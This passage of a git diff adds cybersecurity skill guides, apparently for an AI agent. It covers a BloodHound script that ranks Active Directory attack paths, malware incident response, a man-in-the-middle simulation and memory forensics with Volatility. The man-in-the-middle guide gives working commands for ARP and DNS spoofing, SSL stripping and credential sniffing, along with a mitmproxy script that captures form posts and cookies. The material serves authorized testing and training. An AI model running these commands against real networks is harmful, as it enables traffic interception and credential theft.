prioritized +attack path reports. For authorized red team engagements only. +""" + +import json +import sys +import os +from datetime import datetime +from collections import defaultdict + + +def load_bloodhound_data(filepath: str) -> dict: + """Load BloodHound CE exported JSON data.""" + try: + with open(filepath, "r") as f: + return json.load(f) + except (FileNotFoundError, json.JSONDecodeError) as e: + print(f"Error loading data: {e}") + return {} + + +def analyze_users(data: dict) -> dict: + """Analyze user objects for attack opportunities.""" + analysis = { + "total_users": 0, + "enabled_users": 0, + "kerberoastable": [], + "asreproastable": [], + "dcsync_capable": [], + "admin_count_set": [], + "password_not_required": [], + "unconstrained_delegation": [] + } + + users = data.get("data", data.get("users", [])) + if isinstance(users, list): + for user in users: + props = user.get("Properties", user.get("properties", {})) + name = props.get("name", props.get("samaccountname", "Unknown")) + analysis["total_users"] += 1 + + if props.get("enabled", True): + analysis["enabled_users"] += 1 + + if props.get("hasspn", False): + analysis["kerberoastable"].append(name) + + if not props.get("dontreqpreauth", True) is False: + if props.get("dontreqpreauth", False): + analysis["asreproastable"].append(name) + + if props.get("admincount", False): + analysis["admin_count_set"].append(name) + + if props.get("passwordnotreqd", False): + analysis["password_not_required"].append(name) + + return analysis + + +def analyze_computers(data: dict) -> dict: + """Analyze computer objects for attack opportunities.""" + analysis = { + "total_computers": 0, + "unconstrained_delegation": [], + "constrained_delegation": [], + "laps_enabled": [], + "laps_disabled": [], + "unsupported_os": [], + "domain_controllers": [] + } + + computers = data.get("data", data.get("computers", [])) + if isinstance(computers, list): + for computer in computers: + props = computer.get("Properties", computer.get("properties", {})) + name = props.get("name", "Unknown") + analysis["total_computers"] += 1 + + if props.get("unconstraineddelegation", False): + analysis["unconstrained_delegation"].append(name) + + if props.get("allowedtodelegate", []): + analysis["constrained_delegation"].append({ + "name": name, + "delegates_to": props.get("allowedtodelegate", []) + }) + + if props.get("haslaps", False): + analysis["laps_enabled"].append(name) + else: + analysis["laps_disabled"].append(name) + + os_name = props.get("operatingsystem", "").lower() + unsupported = ["2003", "2008", "xp", "vista", "windows 7"] + if any(ver in os_name for ver in unsupported): + analysis["unsupported_os"].append({ + "name": name, + "os": props.get("operatingsystem", "Unknown") + }) + + if props.get("isdc", False): + analysis["domain_controllers"].append(name) + + return analysis + + +def generate_report(user_analysis: dict, computer_analysis: dict) -> str: + """Generate a comprehensive attack path analysis report.""" + report = [ + "=" * 70, + "BloodHound CE Attack Path Analysis Report", + f"Generated: {datetime.now().isoformat()}", + "=" * 70, + "", + "[User Analysis]", + f" Total Users: {user_analysis['total_users']}", + f" Enabled Users: {user_analysis['enabled_users']}", + f" Kerberoastable: {len(user_analysis['kerberoastable'])}", + f" AS-REP Roastable: {len(user_analysis['asreproastable'])}", + f" AdminCount Set: {len(user_analysis['admin_count_set'])}", + f" Password Not Required: {len(user_analysis['password_not_required'])}", + "" + ] + + if user_analysis["kerberoastable"]: + report.append(" Kerberoastable Accounts:") + for acct in user_analysis["kerberoastable"][:20]: + report.append(f" - {acct}") + + if user_analysis["asreproastable"]: + report.append(" AS-REP Roastable Accounts:") + for acct in user_analysis["asreproastable"][:20]: + report.append(f" - {acct}") + + report.extend([ + "", + "[Computer Analysis]", + f" Total Computers: {computer_analysis['total_computers']}", + f" Domain Controllers: {len(computer_analysis['domain_controllers'])}", + f" Unconstrained Delegation: {len(computer_analysis['unconstrained_delegation'])}", + f" Constrained Delegation: {len(computer_analysis['constrained_delegation'])}", + f" LAPS Enabled: {len(computer_analysis['laps_enabled'])}", + f" LAPS Disabled: {len(computer_analysis['laps_disabled'])}", + f" Unsupported OS: {len(computer_analysis['unsupported_os'])}", + "" + ]) + + if computer_analysis["unconstrained_delegation"]: + report.append(" Unconstrained Delegation Computers:") + for comp in computer_analysis["unconstrained_delegation"]: + report.append(f" - {comp}") + + if computer_analysis["unsupported_os"]: + report.append(" Unsupported Operating Systems:") + for comp in computer_analysis["unsupported_os"]: + report.append(f" - {comp['name']}: {comp['os']}") + + report.extend([ + "", + "[Priority Attack Vectors]", + " 1. Kerberoastable accounts with path to DA (crack SPN passwords)", + " 2. AS-REP Roastable accounts (offline password cracking)", + " 3. Unconstrained delegation abuse (TGT theft via coercion)", + " 4. ACL-based paths (GenericAll, WriteDACL, ForceChangePassword)", + " 5. GPO modification paths (code execution on privileged OUs)", + " 6. Unsupported OS exploitation (unpatched vulnerabilities)", + "", + "=" * 70 + ]) + + return "\n".join(report) + + +def main(): + """Main entry point.""" + if len(sys.argv) < 2: + print("Usage: python process.py [bloodhound_computers.json]") + return + + users_file = sys.argv[1] + computers_file = sys.argv[2] if len(sys.argv) > 2 else None + + user_data = load_bloodhound_data(users_file) + user_analysis = analyze_users(user_data) + + computer_analysis = { + "total_computers": 0, "unconstrained_delegation": [], + "constrained_delegation": [], "laps_enabled": [], "laps_disabled": [], + "unsupported_os": [], "domain_controllers": [] + } + + if computers_file: + computer_data = load_bloodhound_data(computers_file) + computer_analysis = analyze_computers(computer_data) + + report = generate_report(user_analysis, computer_analysis) + print(report) + + report_file = f"bloodhound_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" + with open(report_file, "w") as f: + f.write(report) + print(f"\nReport saved to: {report_file}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-malware-incident-response/SKILL.md b/skills/conducting-malware-incident-response/SKILL.md new file mode 100644 index 00000000..4691f934 --- /dev/null +++ b/skills/conducting-malware-incident-response/SKILL.md @@ -0,0 +1,206 @@ +--- +name: conducting-malware-incident-response +description: > + Responds to malware infections across enterprise endpoints by identifying the + malware family, determining infection vectors, assessing spread, and executing + eradication procedures. Covers the full lifecycle from detection through + containment, analysis, removal, and recovery. Activates for requests involving + malware response, malware eradication, trojan removal, worm containment, malware + triage, or infected endpoint remediation. +domain: cybersecurity +subdomain: incident-response +tags: [malware-response, malware-analysis, eradication, endpoint-remediation, MITRE-ATT&CK] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Conducting Malware Incident Response + +## When to Use + +- EDR or antivirus detects malware execution on one or more endpoints +- A user reports suspicious system behavior indicative of malware infection +- Threat intelligence indicates a malware campaign targeting the organization's industry +- Network monitoring detects beaconing traffic consistent with known malware C2 patterns +- A file detonation in a sandbox returns a malicious verdict + +**Do not use** for analyzing malware samples in a research context; use dedicated malware analysis procedures for reverse engineering. + +## Prerequisites + +- EDR platform with process tree visibility and host isolation capability +- Malware sandbox environment (Cuckoo, ANY.RUN, Joe Sandbox, Hybrid Analysis) +- Access to threat intelligence platforms for malware family identification (VirusTotal, MalwareBazaar) +- Forensic imaging tools for evidence preservation (FTK Imager, KAPE) +- Clean system images or gold images for endpoint rebuild +- MITRE ATT&CK framework reference for technique mapping + +## Workflow + +### Step 1: Detect and Confirm Malware Presence + +Validate the malware alert and gather initial indicators: + +- Review EDR alert details: detection name, file path, hash (SHA-256), process tree +- Check if the detection is a known malware family or generic heuristic detection +- Query the file hash against VirusTotal, MalwareBazaar, and internal threat intelligence +- Examine the process execution chain to determine how the malware was delivered + +``` +Detection Summary: +File: C:\Users\jsmith\AppData\Local\Temp\update.exe +SHA-256: a1b2c3d4e5f6... +Detection: CrowdStrike: Malware/Qakbot | VirusTotal: 58/72 engines +Parent: WINWORD.EXE → cmd.exe → powershell.exe → update.exe +Delivery: Email attachment (Invoice-Nov2025.docm) +Network: HTTPS POST to 185.220.101[.]42:443 every 60s +Persistence: Scheduled Task "WindowsUpdate" → update.exe +``` + +### Step 2: Scope the Infection + +Determine how many systems are affected and the malware's propagation method: + +- Use EDR to search for the malware hash, filename, and behavioral indicators across all endpoints +- Check for network-based spreading (SMB, WMI, PsExec, exploitation) +- Query email gateway logs for all recipients of the delivery email +- Search for C2 communications to the identified infrastructure from other internal hosts +- Check for persistence mechanisms on all identified infected hosts + +### Step 3: Contain Infected Systems + +Execute containment per the active breach containment procedures: + +- Network-isolate infected endpoints via EDR containment +- Block malware C2 infrastructure at firewall and DNS +- Block the malware hash in EDR prevention policy organization-wide +- Quarantine the delivery email from all mailboxes (if email-delivered) +- Disable compromised user accounts if credential theft is suspected + +### Step 4: Analyze the Malware + +Perform sufficient analysis to support complete eradication: + +- Submit the sample to a sandbox for dynamic analysis (behavioral report, dropped files, network IOCs) +- Identify all persistence mechanisms: registry keys, scheduled tasks, services, WMI subscriptions, startup folders +- Document all file system artifacts: dropped files, modified files, created directories +- Extract network IOCs: C2 domains, IPs, URLs, user agents, JA3/JA3S hashes +- Map observed behaviors to MITRE ATT&CK techniques + +``` +Malware Analysis Summary - Qakbot Variant +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Initial Access: T1566.001 - Spearphishing Attachment (.docm) +Execution: T1059.001 - PowerShell (encoded downloader) +Persistence: T1053.005 - Scheduled Task +Defense Evasion: T1055.012 - Process Hollowing (explorer.exe) +C2: T1071.001 - HTTPS with custom headers +Collection: T1005 - Data from Local System (browser credentials) +Exfiltration: T1041 - Exfiltration Over C2 Channel + +Artifacts: +- C:\Users\*\AppData\Local\Temp\update.exe (dropper) +- C:\ProgramData\Microsoft\{GUID}\config.dll (payload) +- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{random} (backup persistence) +- Scheduled Task: "WindowsUpdate" (primary persistence) +``` + +### Step 5: Eradicate the Malware + +Remove all malware artifacts from every infected system: + +- Terminate malicious processes and injected threads +- Delete malware files from all identified paths +- Remove persistence mechanisms (scheduled tasks, registry keys, services, WMI subscriptions) +- Clear browser credential stores if credential harvesting was confirmed +- Run a full EDR scan to verify no artifacts remain +- If eradication confidence is low, reimage the system from a known-clean gold image + +### Step 6: Recover and Validate + +Restore systems to production and verify clean status: + +- Reconnect contained systems to the network in stages +- Monitor for 72 hours for any recurrence of malware indicators +- Force password resets for all users on infected endpoints +- Verify that C2 traffic has completely ceased across the environment +- Update detection rules based on newly discovered IOCs from the investigation +- Distribute IOCs to threat intelligence sharing partners (ISAC, MISP) + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Malware Family** | Classification of malware variants sharing code, infrastructure, or behavior patterns (e.g., Qakbot, Emotet, Cobalt Strike) | +| **Process Hollowing** | Technique where malware creates a legitimate process in a suspended state, replaces its memory with malicious code, then resumes execution | +| **Beacon** | Periodic network communication from malware to its C2 server, typically with a set interval and jitter for detection evasion | +| **Dropper** | Initial malware component that downloads or unpacks the primary payload; often delivered via phishing | +| **Persistence Mechanism** | Method used by malware to survive system reboots (registry run keys, scheduled tasks, services, WMI event subscriptions) | +| **IOC (Indicator of Compromise)** | Observable artifact such as file hash, IP address, domain, or registry key that indicates malware presence | + +## Tools & Systems + +- **CrowdStrike Falcon / Microsoft Defender for Endpoint**: EDR platforms for detection, containment, and threat hunting +- **ANY.RUN / Joe Sandbox**: Interactive malware sandboxes for dynamic behavioral analysis +- **VirusTotal / MalwareBazaar**: Malware intelligence platforms for sample identification and IOC enrichment +- **KAPE (Kroll Artifact Parser and Extractor)**: Forensic triage tool for rapid artifact collection from infected endpoints +- **YARA**: Pattern-matching engine for creating custom malware detection rules based on observed indicators + +## Common Scenarios + +### Scenario: Emotet Loader Leading to Cobalt Strike Deployment + +**Context**: EDR detects a macro-enabled document that spawns PowerShell, downloads an Emotet DLL, which subsequently loads a Cobalt Strike beacon. Three hosts are infected within 45 minutes. + +**Approach**: +1. Immediately isolate all three hosts and block C2 IPs at the perimeter +2. Search email gateway for all recipients of the original phishing email and quarantine it +3. Sweep all endpoints for the Emotet DLL hash and Cobalt Strike beacon indicators +4. Analyze the Cobalt Strike beacon configuration to extract watermark, C2 profile, and staging URLs +5. Check for credential harvesting (Mimikatz/LSASS dump) and lateral movement artifacts +6. Eradicate all malware artifacts and reset credentials for affected users + +**Pitfalls**: +- Focusing only on Emotet and missing the Cobalt Strike second-stage payload +- Failing to extract and block the Cobalt Strike Malleable C2 profile indicators +- Not checking for additional persistence beyond the initial detection (Emotet often installs multiple backup persistence mechanisms) + +## Output Format + +``` +MALWARE INCIDENT RESPONSE REPORT +================================= +Incident: INC-2025-1547 +Malware Family: Qakbot (variant: Obama265) +Delivery Vector: Spearphishing attachment (Invoice-Nov2025.docm) +First Detection: 2025-11-15T14:23:17Z +Scope: 4 endpoints confirmed infected + +INFECTION TIMELINE +14:18 UTC - Phishing email received by jsmith@corp.example.com +14:19 UTC - Macro executed in WINWORD.EXE +14:20 UTC - PowerShell downloads update.exe from staging server +14:21 UTC - update.exe establishes persistence (Scheduled Task) +14:23 UTC - C2 beacon initiated to 185.220.101[.]42 +14:35 UTC - Lateral spread to WKSTN-087 via stolen credentials +14:42 UTC - EDR detection fires, SOC alerted + +IOCs EXTRACTED +File Hashes: [SHA-256 list] +C2 Domains: [domain list] +C2 IPs: [IP list] +File Paths: [artifact paths] + +ERADICATION STATUS +[x] All malware artifacts removed from 4 hosts +[x] Persistence mechanisms deleted +[x] C2 infrastructure blocked +[x] Compromised credentials reset +[x] Email quarantined from all mailboxes + +RECOMMENDATIONS +1. Deploy YARA rule for Qakbot variant detection +2. Block macro execution in documents from external senders +3. Implement application whitelisting on finance workstations +``` diff --git a/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md b/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md new file mode 100644 index 00000000..88a0420f --- /dev/null +++ b/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md @@ -0,0 +1,280 @@ +--- +name: conducting-man-in-the-middle-attack-simulation +description: > + Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in + authorized environments to intercept, analyze, and modify network traffic for + testing encryption enforcement, certificate validation, and detection capabilities. +domain: cybersecurity +subdomain: network-security +tags: [network-security, mitm, bettercap, ettercap, mitmproxy] +version: "1.0" +author: mahipal +license: MIT +--- +# Conducting Man-in-the-Middle Attack Simulation + +## When to Use + +- Testing whether applications properly validate TLS certificates and enforce encrypted communications +- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders +- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented +- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks +- Training incident response teams to identify and respond to MITM attack indicators + +**Do not use** on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties. + +## Prerequisites + +- Written authorization specifying in-scope targets and approved MITM techniques +- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine +- Layer 2 access to the same network segment as target hosts +- Custom CA certificate for TLS interception testing (generated specifically for the engagement) +- Wireshark or tshark for capturing and verifying intercepted traffic +- Isolated lab environment or approved production test window with rollback procedures + +## Workflow + +### Step 1: Set Up the Attack Environment + +```bash +# Enable IP forwarding +sudo sysctl -w net.ipv4.ip_forward=1 +sudo sysctl -w net.ipv6.conf.all.forwarding=1 + +# Disable ICMP redirects +sudo sysctl -w net.ipv4.conf.all.send_redirects=0 + +# Generate a CA certificate for TLS interception +openssl genrsa -out mitm-ca.key 4096 +openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \ + -subj "/CN=MITM Test CA/O=Security Assessment/C=US" + +# Discover hosts on the target network +sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit" +``` + +### Step 2: Execute ARP-Based MITM with Bettercap + +```bash +# Start Bettercap with interactive mode +sudo bettercap -iface eth0 + +# Enable network probing to discover hosts +> net.probe on + +# Display discovered hosts +> net.show + +# Set target (victim: 192.168.1.50, gateway: 192.168.1.1) +> set arp.spoof.targets 192.168.1.50 +> set arp.spoof.fullduplex true + +# Start ARP spoofing +> arp.spoof on + +# Enable HTTP proxy for traffic inspection +> set http.proxy.sslstrip true +> http.proxy on + +# Enable HTTPS proxy with certificate interception +> set https.proxy.certificate mitm-ca.crt +> set https.proxy.key mitm-ca.key +> https.proxy on + +# Enable DNS spoofing for specific domains +> set dns.spoof.domains example.com,*.example.com +> set dns.spoof.address 192.168.1.99 +> dns.spoof on + +# Enable credential sniffer +> set net.sniff.verbose true +> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110" +> net.sniff on +``` + +### Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy + +```bash +# Start mitmproxy as transparent proxy +sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \ + --set ssl_insecure=true -w mitm_capture.flow + +# Configure iptables to redirect traffic through mitmproxy +sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 +sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 + +# Use mitmproxy scripting for automated credential extraction +cat > extract_creds.py << 'PYEOF' +"""mitmproxy script to extract credentials from intercepted traffic.""" +from mitmproxy import http +import json + +def request(flow: http.HTTPFlow): + if flow.request.method == "POST": + content_type = flow.request.headers.get("content-type", "") + if "form" in content_type or "json" in content_type: + with open("captured_forms.log", "a") as f: + f.write(f"URL: {flow.request.pretty_url}\n") + f.write(f"Data: {flow.request.get_text()}\n") + f.write("---\n") + +def response(flow: http.HTTPFlow): + # Log authentication cookies + if "set-cookie" in flow.response.headers: + with open("captured_cookies.log", "a") as f: + f.write(f"URL: {flow.request.pretty_url}\n") + f.write(f"Cookie: {flow.response.headers['set-cookie']}\n") + f.write("---\n") +PYEOF + +sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow +``` + +### Step 4: Perform DNS Spoofing and DHCP Attacks + +```bash +# DNS spoofing with Ettercap +sudo tee /etc/ettercap/etter.dns << 'EOF' +# Redirect target domain to attacker's web server +example.com A 192.168.1.99 +*.example.com A 192.168.1.99 +www.example.com A 192.168.1.99 +EOF + +sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1// + +# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway) +sudo bettercap -iface eth0 +> set dhcp6.spoof.domains example.com +> dhcp6.spoof on + +# Set up a phishing page on the attacker machine +sudo python3 -m http.server 80 --directory /var/www/phishing/ +``` + +### Step 5: Validate Detection and Test Controls + +```bash +# Verify certificate pinning is working on the target application +# If the app rejects the MITM CA, certificate pinning is effective +# Check the target machine for certificate errors + +# Test HSTS enforcement +# If browser refuses HTTP connection after initial HTTPS, HSTS is working +curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security" + +# Verify IDS detection of ARP spoofing +# Check Snort/Suricata alerts for ARP anomalies +grep -i "arp" /var/log/snort/alert_fast.txt + +# Check if switch detected the attack (DAI logs) +# On Cisco switch: show ip arp inspection log + +# Test network monitoring tools +# Verify that Zeek generated appropriate notices +cat /opt/zeek/logs/current/notice.log | zeek-cut note msg + +# Capture evidence of successful/failed interception +tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300 +``` + +### Step 6: Clean Up and Document Results + +```bash +# Stop all MITM attacks +# In Bettercap: +> arp.spoof off +> http.proxy off +> https.proxy off +> dns.spoof off +> quit + +# Restore IP forwarding +sudo sysctl -w net.ipv4.ip_forward=0 + +# Remove iptables rules +sudo iptables -t nat -F PREROUTING + +# Verify ARP tables are restored on target hosts +# The target should re-learn correct MAC addresses via normal ARP + +# Force ARP cache refresh (from target machine) +# arp -d 192.168.1.1 && ping -c 1 192.168.1.1 + +# Remove test CA certificate from any systems where it was installed +# Remove capture files containing sensitive data per engagement agreement + +# Generate documentation +echo "MITM Simulation completed at $(date)" >> mitm_report.txt +sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Man-in-the-Middle (MITM)** | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly | +| **SSL Stripping** | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption | +| **HSTS (HTTP Strict Transport Security)** | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections | +| **Certificate Pinning** | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates | +| **ARP Cache Poisoning** | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine | +| **Transparent Proxy** | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports | + +## Tools & Systems + +- **Bettercap 2.x**: Swiss-army knife for network attacks supporting ARP/DNS/DHCP spoofing, HTTP/HTTPS proxying, and credential sniffing with a modular architecture +- **mitmproxy**: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP/HTTPS traffic with Python scripting support +- **Ettercap**: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation +- **sslstrip**: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions +- **Wireshark**: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts + +## Common Scenarios + +### Scenario: Testing HTTPS Enforcement on an Internal Web Application + +**Context**: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0/24 VLAN. + +**Approach**: +1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100) +2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP +3. Enable HTTPS interception with a test CA certificate to test certificate validation +4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection +5. Verify that HSTS headers are present and have appropriate max-age values +6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload +7. Recommend implementing certificate pinning in the thick client application + +**Pitfalls**: +- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception +- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable +- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target +- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions + +## Output Format + +``` +## MITM Simulation Report + +**Test ID**: MITM-2024-001 +**Date**: 2024-03-15 14:00-16:00 UTC +**Target Application**: https://app.internal.corp (10.10.20.50) +**Test Workstation**: 10.10.1.100 +**Attacker Machine**: 10.10.1.99 + +### Control Validation Results + +| Control | Status | Details | +|---------|--------|---------| +| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 | +| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload | +| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox | +| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS | +| Cert Pinning (Browser) | N/A | Standard CA validation only | +| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation | +| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds | + +### Recommendations +1. Implement certificate pinning in the thick client (high priority) +2. Add HSTS preload list submission for the domain +3. Enable DAI on access-layer switches for Layer 2 protection +4. Configure application to reject connections from non-pinned certificates +``` diff --git a/skills/conducting-memory-forensics-with-volatility/SKILL.md b/skills/conducting-memory-forensics-with-volatility/SKILL.md new file mode 100644 index 00000000..be348d1c --- /dev/null +++ b/skills/conducting-memory-forensics-with-volatility/SKILL.md @@ -0,0 +1,270 @@ +--- +name: conducting-memory-forensics-with-volatility +description: > + Performs memory forensics analysis using Volatility 3 to extract evidence of + malware execution, process injection, network connections, and credential theft + from RAM dumps captured during incident response. Covers memory acquisition, + process analysis, DLL inspection, and malware detection. Activates for requests + involving memory forensics, RAM analysis, Volatility framework, memory dump + investigation, volatile evidence analysis, or live memory acquisition. +domain: cybersecurity +subdomain: incident-response +tags: [memory-forensics, volatility, RAM-analysis, process-injection, DFIR] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Conducting Memory Forensics with Volatility + +## When to Use + +- An endpoint has been contained during an active incident and volatile evidence must be preserved +- EDR alerts suggest process injection or fileless malware that only exists in memory +- Encryption keys need to be recovered from a ransomware-infected system before shutdown +- Credential theft (Mimikatz, LSASS dumping) is suspected and evidence must be confirmed +- A rootkit or kernel-level compromise is suspected and disk-based analysis is insufficient + +**Do not use** for analyzing disk images or file system artifacts; use disk forensics tools (Autopsy, FTK) for those tasks. + +## Prerequisites + +- Memory acquisition tool deployed or available: WinPmem, Magnet RAM Capture, DumpIt, or AVML (Linux) +- Volatility 3 installed with Python 3.8+ and required symbol tables +- Sufficient storage for memory dumps (equal to system RAM size, typically 8-64 GB) +- YARA rules for malware detection in memory (Florian Roth's signature-base, custom rules) +- Reference baseline of normal processes and DLLs for the OS version being analyzed +- Chain of custody documentation for evidence handling + +## Workflow + +### Step 1: Acquire Memory Image + +Capture RAM from the target system using a forensically sound method: + +**Windows (WinPmem):** +``` +winpmem_mini_x64.exe output.raw +``` + +**Windows (Magnet RAM Capture):** +``` +MagnetRAMCapture.exe +# GUI-based, select output path, generates .raw file +``` + +**Windows (DumpIt):** +``` +DumpIt.exe +# Creates memory dump in current directory automatically +``` + +**Linux (AVML - Acquire Volatile Memory for Linux):** +``` +./avml output.lime +``` + +Document acquisition metadata: +``` +Acquisition Record: +━━━━━━━━━━━━━━━━━ +Target Host: WKSTN-042 +RAM Size: 16 GB +Dump File: WKSTN-042_20251115_1445.raw +Dump Size: 16,843,612,160 bytes +SHA-256: a4b3c2d1e5f6... +Acquisition Tool: WinPmem 4.0 +Acquired By: [Analyst Name] +Timestamp: 2025-11-15T14:45:00Z +``` + +### Step 2: Identify the Operating System and Profile + +Volatility 3 automatically identifies the OS, but verify: + +```bash +# Get system information +vol -f WKSTN-042_20251115_1445.raw windows.info + +# Output includes: +# OS: Windows 10 22H2 (Build 19045.3693) +# Kernel Base: 0xf8066c200000 +# DTB: 0x1aa000 +# Symbols: ntkrnlmp.pdb +``` + +### Step 3: Analyze Running Processes + +Examine the process tree for suspicious activity: + +```bash +# List all running processes +vol -f memory.raw windows.pslist + +# Show process tree (parent-child relationships) +vol -f memory.raw windows.pstree + +# Scan for hidden/unlinked processes (rootkit detection) +vol -f memory.raw windows.psscan + +# Compare pslist vs psscan to find hidden processes +# Processes in psscan but NOT in pslist may be hidden by rootkits +``` + +Key indicators of compromise in process analysis: +- `svchost.exe` running without `-k` parameter or with wrong parent (should be `services.exe`) +- `csrss.exe` or `lsass.exe` with abnormal parent process +- Processes with misspelled names (`scvhost.exe`, `lssas.exe`) +- Unusual processes spawned by `outlook.exe`, `winword.exe`, or `excel.exe` +- Multiple instances of processes that should be singletons (`lsass.exe`, `smss.exe`) + +### Step 4: Investigate Network Connections + +Extract active and recently closed network connections: + +```bash +# List all network connections +vol -f memory.raw windows.netscan + +# Focus output fields: +# Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner +# 0xe10... TCPv4 10.1.5.42 49721 185.220.101.42 443 ESTAB 3847 update.exe +``` + +Cross-reference suspicious connections with the process tree to identify C2 communications. Look for: +- Connections to external IPs from unexpected processes +- High port numbers connecting to port 443/80 from non-browser processes +- Connections from `svchost.exe` or system processes to external IPs + +### Step 5: Detect Process Injection and Malware + +Use malfind to identify injected code and memory-resident malware: + +```bash +# Detect injected code in processes +vol -f memory.raw windows.malfind + +# Output shows: +# PID Process Start End Tag Protection Hexdump/Disassembly +# 3847 explorer.exe 0x2a10000 0x2a14000 VadS PAGE_EXECUTE_READWRITE +# MZ header detected - injected PE + +# Dump suspicious process memory +vol -f memory.raw windows.memmap --pid 3847 --dump + +# List DLLs loaded by a suspicious process +vol -f memory.raw windows.dlllist --pid 3847 + +# Scan memory with YARA rules +vol -f memory.raw windows.yarascan --yara-file malware_rules.yar +``` + +### Step 6: Extract Credentials and Artifacts + +Recover sensitive data from memory: + +```bash +# Dump registry hives from memory (for password hash extraction) +vol -f memory.raw windows.registry.hivelist +vol -f memory.raw windows.hashdump + +# Extract command line history +vol -f memory.raw windows.cmdline + +# List handles (files, registry keys, mutexes) +vol -f memory.raw windows.handles --pid 3847 + +# Extract clipboard contents +vol -f memory.raw windows.clipboard + +# Dump cached files from memory +vol -f memory.raw windows.dumpfiles --pid 3847 +``` + +### Step 7: Generate Forensic Report + +Compile findings into a structured analysis report documenting all evidence extracted from memory: + +- Process anomalies with PIDs, parent processes, and timestamps +- Network connections with associated process context +- Injected code regions with memory protection flags +- Extracted IOCs (hashes, IPs, domains, mutexes, registry keys) +- YARA rule matches with rule names and match offsets +- Credential exposure (hashes found, accounts at risk) + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Volatile Evidence** | Data that exists only in RAM and is lost when a system is powered off; includes running processes, network connections, encryption keys | +| **Process Injection** | Technique where malware inserts code into a legitimate process's memory space to evade detection (malfind detects this) | +| **EPROCESS** | Windows kernel data structure representing a process; psscan searches for these structures even when unlinked from the active process list | +| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; malfind examines VADs for executable but non-file-backed regions | +| **Symbol Tables** | OS-specific data structures that Volatility 3 uses to parse memory; downloaded automatically based on detected OS version | +| **PAGE_EXECUTE_READWRITE** | Memory protection flag indicating a region is readable, writable, and executable; common indicator of injected malicious code | +| **Memory-Resident Malware** | Malware that operates entirely in RAM without writing persistent files to disk, making it invisible to traditional disk-based antivirus | + +## Tools & Systems + +- **Volatility 3**: Primary open-source memory forensics framework; Python 3 rewrite with automatic symbol resolution +- **WinPmem / DumpIt / Magnet RAM Capture**: Memory acquisition tools for Windows systems +- **AVML (Acquire Volatile Memory for Linux)**: Microsoft's open-source Linux memory acquisition tool +- **YARA**: Pattern matching engine for scanning memory dumps against malware signatures and behavioral rules +- **MemProcFS**: Memory analysis tool that presents memory as a virtual file system for intuitive browsing + +## Common Scenarios + +### Scenario: Detecting Cobalt Strike Beacon in Memory + +**Context**: EDR detects suspicious named pipe activity but cannot identify the source. A memory dump is acquired from the suspect endpoint for analysis. + +**Approach**: +1. Run `windows.pstree` to identify the process hierarchy and spot 